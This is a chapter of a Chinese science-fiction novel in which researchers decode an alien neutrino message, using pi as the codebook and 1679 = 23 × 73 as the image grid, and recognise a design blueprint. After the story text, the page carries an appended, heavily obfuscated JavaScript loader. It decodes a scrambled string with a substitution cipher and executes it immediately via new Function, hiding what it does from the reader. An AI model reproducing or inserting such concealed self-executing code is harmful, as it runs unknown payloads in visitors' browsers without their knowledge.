陈飞宇的密钥假设引起了众人的激烈讨论,夏岚最先提出了质疑:
“ta们为什么不能直接向我们发送信息,而是要发送一个密钥,这不太解释得通。而且就算是密钥,那密码本应该是什么?”
陈飞宇一时也不知如何解释,只是牵强地说道:
“你们知道,我是搞航天工程出身的,没有经历过你们那样系统的数学培训。我用朴素的思维逻辑去看这些数字,第一感觉就是,它们太像最原始的排列密钥了,谈不上什么依据,或许......”
“不!这说得通!”周成铿锵的话语打断了陈飞宇的叙述。
“什么?”陈飞宇和夏岚都惊讶的看了过去。
周成目光炯炯地看着众人,说道:
“你们想想,我们最开始发现中微子信号,考验的是我们基础科学的能力。锁定信号源在金星,考验的是我们的天文能力。而在金星水手谷找到那颗黑色球体,并采集到这段音频信号,考验的是我们的航天工程能力。
整个过程中,需要的都不是复杂的数学和哲学逻辑,信号的调制解译也是数学中最基础的二进制和十进制。但要读出信息的含义,就有明显的硬性科学台阶了。在这段音频信号的破译上,还没有任何科学台阶的限制。我想,这个台阶就在所谓的密码本上。”
夏岚疑惑地说道:
“如果密钥假设是正确的,那密码本又是什么呢?特别是在密钥的后段,数字已经到了十亿的数量级。我很难想象,我们的世界里有这个数量级的数据库作为密码本。”
周成却淡然一笑,悠悠说道:
“我们当然有!如果你把之前信息的特征和密钥的特征做一个总结,就会知道答案了。”
夏岚柳眉低垂,微微皱眉,双目轻闭,一边数着手指,一边念叨:
“没有单位、超大的数量级、还得是双方手里都有的...额....”
陈飞宇补充道:
“还有那个接近于绝对圆的球体,ta们不会无缘无故地展示给我们看,这符合....”
“圆周率!”夏岚忽然惊声喊道。
周成点头道:
“对!密码本就是圆周率!只要是在我们这个宇宙中的圆形无论用什么度量单位,计算出来的圆周率都是一样的,这就是我们双方手中相同的密码本。而圆周率的计算精度,可以检验一个文明在算力上的能力。”
马尔斯一脸感恩的喜悦,在胸前画了一个十字,看着天花板说道:
“感谢上帝,我们的超算刚刚把圆周率算到了一百亿位之后。我这就安排数据处理工作,二十分钟就能知道我们的猜测是否正确!”
在等待计算机的处理结果时,陈飞宇用手捂着嘴,沉思了片刻之后问道:
“但ta们为什么要这么做?我的意思是ta们检验我们的目的是什么?”
周成徐徐摇头道:
“现在我们获得的信息是不可能搞清楚这个问题的,这也不是我们当下应该关注的。也许只有等我们解读出了ta们发送给我们的所有信息之后,才能揭晓最终的答案。”
夏岚眼中流转着复杂的神色,犹豫着说道:
“这会不会和带状星云有关系?”
这句低声的问话将会议室里原本欢愉的气氛,一下子冷冻到了冰点以下。随着幽灵粒子探索的深入,几人都或多或少地意识到,纯粹用自然规律去解释带状星云明显不太符合宇宙中,如无必要,勿增实体的基本原则。
最重要的是,现在他们似乎有了一个更简单的解释。
“我却是一直都觉得,带状星云的自然形成原因,显得.....显得不是很自然。”马尔斯用余光注视着夏岚,谨慎地说出了自己的想法。
陈飞宇也瞥了一眼夏岚,又看向马尔斯,说道:
“就算把带状星云的起源问题先放到一边,单单它的轨道就极难解释。如果是单纯的万有引力作用,那带状星云的尺寸、速度、方向、质量、密度,任何一个数据偏差万分之一。我们将会经历的都仅仅只是一场视觉奇观,而非现在的灭世浩劫。”
两人虽然都没有明说,但眼神和所想表达的深层意思已经非常明显。如果说带状星云的出现存在其他因素,那这个因素则必然和与带状星云联系最紧密的人有关,她就是夏岚的导师——林雨疏。
而夏岚也敏锐地察觉出了他们的想法,因为连她自己也会难以自控地出现这种联想。
就在气氛变得非常微妙之际,周成说道:
“带状星云确实存在非常多的疑点。但我们还没有确切的证据,把这两件事情联系起来。如果从单纯的科学逻辑出发,我们现在要想向全世界证明,已经有外星高等文明存在都无法做到。”
陈飞宇叹息道:
“是啊,现在包含着137信息的中微子信号已经停止了。黑色球体没有留下任何能够向其他人证实其存在的证据。如果我们不能重现,或者让所有人亲眼看到其存在的证据。那外星高等文明的存在,就只能是伪科学的虚假命题”
就在此时,电脑AI的声音响了起来:
“先生们,大家好,我是基地AI丽莎。我已按照数字在圆周率上对应位置的规则完成了解译。”
与此同时,一行行由0和1组成的二进制码密密麻麻地填满了整个屏幕。
“所有对应的数字都是0和1吗?”夏岚问道。
“是的,夏岚博士。”AI回答道。
周成双手一拍,兴奋地说道:
“那结果就再明显不过了,这种解译方法是正确的!”
“丽莎,将代码转化为图像。”马尔斯向AI电脑下达了指令。
“好的先生!”
很快,在众人期待的目光下,屏幕上排列出了无数张大小不一的图片。那些图片全都是由无数颜色各异的斑块胡乱堆叠而成,毫无规律,也没有勾勒出任何形状。就算用最狂野的想象力,也无法在其中找出任何一个他们熟知的数字、字母或者算符。
“先生,已经按照您的要求将代码转译成了各种分辨率的图像。我的分析结果显示,暂时没有找到携带信息的内容。”
马尔斯歪了歪嘴,说道:
“看起来这个方法不对。AI,将代码转化为音频信号。”
“好的先生!转化已完成,即将播放音频信号。”
随即,扬声器里响起了滴滴嘟嘟的杂音,就像是无数台各式各样的电报机正在同时发报。
周成摇头道:
“这肯定也不是答案,解疑的内容应该是呈现高度的规律性和可理解性才对。”
之后,马尔斯又尝试了将代码转换成视频信号、3D模型等等一系列他们所熟知的信号输出方式,但结果无一例外地都是毫无意义的乱码。
就在众人原本高涨的情绪就要跌落到谷底之时,周成恍然大悟,向AI发问道:
“第一个数字1679,有没有参与代码转化?”
“是的先生,所有的数字都按照其在圆周率上对应的数位进行了代码转化。”AI回答道。
“将这个数字和与之在圆周率上对应的数字剔除出来。以23和73位像素排列矩阵,生成图片。”周成下令道。
“好的先生,请稍等。”
不等众人发问,周成就兴冲冲地解释道:
“整个密钥是从第二个数字开始,才呈现出明显的递增规律。这就意味着第一个数字1679并不是密钥的内容,但这个数字肯定有其作用。
我们使用一个全宇宙都通用且极其简单的数学法则来分解1679就会发现,它有且只有23和73两个因数。而这,应该就是密钥解译圆周率之后的数据排列矩阵规则。”
周成的话音刚落,所有的大屏幕都亮了起来,一张张清晰的图片依次排开。图片上整洁的出现了由直线和弧线构建出的复杂几何图形,在每一个几何图形的旁边,都有若干由实心圆球和粗线段相互连接而成的符号。
周成双眼发亮,快步走到一张图片前,用手指着那一串串的符号,兴奋地喊道:
“这是分子式!还用十进制标注了原子数,只要是懂得高级物理的文明,都能看得懂这些分子式表达的内容!”
夏岚和马尔斯都凑到了图片之前,细细查看这些直观的分子式,而陈飞宇却是向后退了几步。常年埋头于各种蓝图里的他,对几何线段有着天然的敏感性,他一眼就发现了其中的奥妙。反复总览所有的图片之后,他声音颤抖着喊出了一句话:
“这是一份设计图纸!”
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();